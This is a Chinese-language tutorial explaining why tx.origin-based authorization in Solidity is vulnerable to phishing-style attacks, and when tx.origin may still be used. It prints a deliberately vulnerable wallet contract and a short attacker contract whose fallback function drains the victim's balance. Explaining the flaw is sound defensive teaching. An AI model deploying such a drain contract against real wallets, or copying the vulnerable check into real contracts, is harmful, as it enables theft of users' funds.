solidity智能合约中tx.origin的正确使用场景

简介: solidity智能合约中tx.origin的正确使用场景

简介

tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。


但针对tx.origin的使用并不用谈虎色变,正确的使用还是有它的应用场景的。


漏洞详解

漏洞合约

在如下合约中使用到了tx.origin的判断。


pragma solidity ^0.4.11;
// 不要使用这个合约,其中包含一个 bug。
contract TxUserWallet {
    address owner;
    function TxUserWallet() public {
        owner = msg.sender;
    }
    function transferTo(address dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

上面的合约提供了构造函数(新版本中使用constructor)和转账方法。其中在转账方法transferTo中进行了owner的判断,这里用到了tx.origin。

攻击者合约

下面看一下攻击者的合约:

pragma solidity ^0.4.11;
interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}
contract TxAttackWallet {
    address owner;
    function TxAttackWallet() public {
        owner = msg.sender;
    }
    function () public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

攻击者创建一个上面的合约,然后通过各种骗术来欺骗你用正常合约(TxUserWallet)的拥有者的地址向该攻击合约(TxAttackWallet)转账。然后区块链会默认调用攻击合约的fallback方法,也就是最后没有方法名的方法,并执行转账操作。


而此时TxUserWallet合约里面的校验是可以正常通过的。因为tx.origin是最初发起交易的地址,也就是合约拥有者的地址。然后,地址里面的ether便被转到攻击者地址中。


使用提醒

tx.origin不应该用于智能合约的授权。更多的时候采用msg.sender == owner来进行判断。


但它也有自己使用的场景,比如想要拒绝外部合约调用当前合约则可使用require(tx.origin ==msg.sender)来进行实现。


目录
相关文章
|
SQL 缓存 安全
Android ORM 框架之 greenDAO
Android ORM 框架之 greenDAO
972 0
|
消息中间件 运维 安全
云消息队列 ApsaraMQ Serverless 演进:高弹性低成本、更稳定更安全、智能化免运维
在 2024 年云栖大会上,阿里云智能集团产品专家刘尧全面介绍了云消息队列 ApsaraMQ Serverless 的落地成果和产品进展。此外,我们还邀请到杭州优行科技有限公司中间件消息研发负责人王智洋,分享了 ApsaraMQ for Kafka Serverless 助力曹操出行实现成本优化和效率提升的实践经验。
627 95
|
缓存 负载均衡 Java
OpenFeign最核心组件LoadBalancerFeignClient详解(集成Ribbon负载均衡能力)
文章标题为“OpenFeign的Ribbon负载均衡详解”,是继OpenFeign十大可扩展组件讨论之后,深入探讨了Ribbon如何为OpenFeign提供负载均衡能力的详解。
OpenFeign最核心组件LoadBalancerFeignClient详解(集成Ribbon负载均衡能力)
|
存储 区块链 索引
web3j教程:以太坊过滤器(filter)筛选和智能合约事件(event)监听
web3j过滤器提供以太坊网络发生的某些事件的通知,对java和安卓程序员来说很有用。在Ethereum以太坊中支持三类过滤器: 块滤波器(Block filters) 未决交易过滤器(Pending transaction filters) 主题过滤器(Topic filters) 块过滤器和未决交易过滤器提供了在网络上创建新交易或块的通知。
8679 0
|
Unix Linux
Linux命令之wget
Linux命令之wget
462 1
|
算法 搜索推荐 Python
Python高级数据结构——堆(Heap)
Python高级数据结构——堆(Heap)
603 2
|
Linux
Linux系统查看文件大小
在 Linux 操作系统中,经常需要检查文件的大小,文件实际的大小和文件占用磁盘的大小往往是不一致的,下面梳理记录集中常见的查看文件大小的方法。
466 0
|
算法 前端开发 程序员
「LeetCode」剑指Offer-30包含min函数的栈⚡️
「LeetCode」剑指Offer-30包含min函数的栈⚡️
168 0
「LeetCode」剑指Offer-30包含min函数的栈⚡️
|
存储 Java
你能用几句话解释面向对象?(中)
一种基于面向过程的新的编程思想,顾名思义该思想是站在对象的角度思考问题,我们把多个功能合理的放到不同对象里,强调的是我该让谁来。面向对象最小的程序单元是类,必须先存在类的定义,再有对象,而具备某种功能的实体,称为对象。
165 0
你能用几句话解释面向对象?(中)
|
数据采集 SQL 存储
基于DataFlux进行养猪场实时数据模拟生成和分析实践
摘要:DataFlux是驻云科技的实时大数据分析平台。经过对养猪场的数据分析需求,使用DataMock数据模拟器模拟生成原始数据并上传至DataFlux,快速实现了对养猪场数据的分析全流程。 注:本次业务分析、模拟数据分析生成和实践主要为培训和演示用途,旨在快速了解DataMock和DataFlux进行实时数据分析的功能和流程。
1556 0
基于DataFlux进行养猪场实时数据模拟生成和分析实践